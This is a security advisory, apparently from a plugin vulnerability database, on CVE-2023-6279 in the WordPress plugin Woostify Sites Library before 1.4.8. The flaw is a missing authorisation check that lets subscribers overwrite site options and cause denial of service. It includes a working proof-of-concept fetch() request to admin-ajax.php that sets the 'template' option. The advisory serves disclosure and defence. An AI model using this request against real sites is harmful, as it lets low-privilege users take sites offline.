Woostify Sites Library < 1.4.8 – Subscriber+ Arbitrary Options Update to DoS | CVE 2023-6279 | Plugin Vulnerabilities

Description

The plugin does not have authorisation in an AJAX action, allowing any authenticated users, such as subscriber to update arbitrary blog options and set them to 'activated' which could lead to DoS when using a specific option name

Proof of Concept

Login as subscriber, open https://example.com/wp-admin/admin-ajax.php?action=woostify_sites_child_theme&page=woostify-sites and run the below command in the developer console of the web browser 

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8"},
"body":"action=woostify_sites_module_action&name=template&selected_index=0&ajax_nonce=" + woostify_sites_params['wpnonce'],  "method": "POST",}).then((response) => {return response.text();}).then((data) => {console.log(data);})
